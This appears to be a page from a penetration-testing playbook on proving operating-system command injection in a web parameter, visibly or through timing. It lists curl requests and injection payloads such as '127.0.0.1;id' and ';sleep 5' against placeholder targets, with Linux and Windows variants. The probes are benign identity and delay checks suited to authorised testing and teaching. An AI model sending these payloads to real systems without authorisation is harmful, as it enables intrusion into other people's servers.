Prove visible or blind operating-system command injection
Needs: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Start with a benign identity marker appropriate to the inferred operating system
# Start with a benign identity marker appropriate to the inferred operating system
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
Test only the forms compatible with the observed command and platform
# Test only the forms compatible with the observed command and platform
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
Variants — separators, quoting and POST bodies
# Variants — separators, quoting and POST bodies
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH
Variants — separators, quoting and POST bodies
For Windows command contexts, use an observed
cmd.exeor PowerShell boundary before choosing syntax:
# Variants — separators, quoting and POST bodies
127.0.0.1 & whoami
127.0.0.1 | whoami
Repeat a control and a bounded-delay request several times
# Repeat a control and a bounded-delay request several times
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Windows candidate after platform evidence
# Windows candidate after platform evidence
127.0.0.1 & timeout /t 5
# After command execution
Linux: id; hostname; pwd
Windows: whoami; hostname; cd
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
Verify → Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.
If it fails → A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer. More detail ↓
Explanation & examples
Prove visible or blind operating-system command injection
- USE WHEN
- An input appears in a command-like operation or causes shell-dependent behavior
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- Verified command execution or a repeatable command-dependent blind effect
Recognize the clue
Find a mapped feature that runs a system-like operation, inspect its request, and compare a normal value with one bounded command-dependent probe.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
Normal function: network diagnostic
Request parameter: host=NORMAL_VALUE
Response includes utility-style outputMeans: The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.
Confirm: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.
- After validation
- Only the injected request yields the intended command-derived proof: select command injection.
- Ruled out in this context
- The input is passed as a fixed safe argument and metacharacters remain literal: reject that separator/context route.
- Still inconclusive
- A generic error or isolated delay could be application/load behavior; run stable controls before deciding.
Troubleshooting: A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.
Additional prerequisite checks
curl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH
Visible-output baseline
Start with a benign identity marker appropriate to the inferred operating system:
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
Variants — separators, quoting and POST bodies
Test only the forms compatible with the observed command and platform:
For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:
Blind timing proof
Repeat a control and a bounded-delay request several times:
Windows candidate after platform evidence:
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
After command execution
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
Why it works
The request decoder, application language and shell parse at different layers. Visible output and controlled timing can prove execution without a reverse connection.
Worked example · hypothetical
Observation: a utility parameter behaves differently with a separator. Test: compare baseline, invalid control and minimal identity command. Illustrative output: a consistent uid line appears only in the injected request. Interpretation: establish the OS context before selecting a shell.
New identity, privilege, host or route? Re-enumerate → All topic tasks →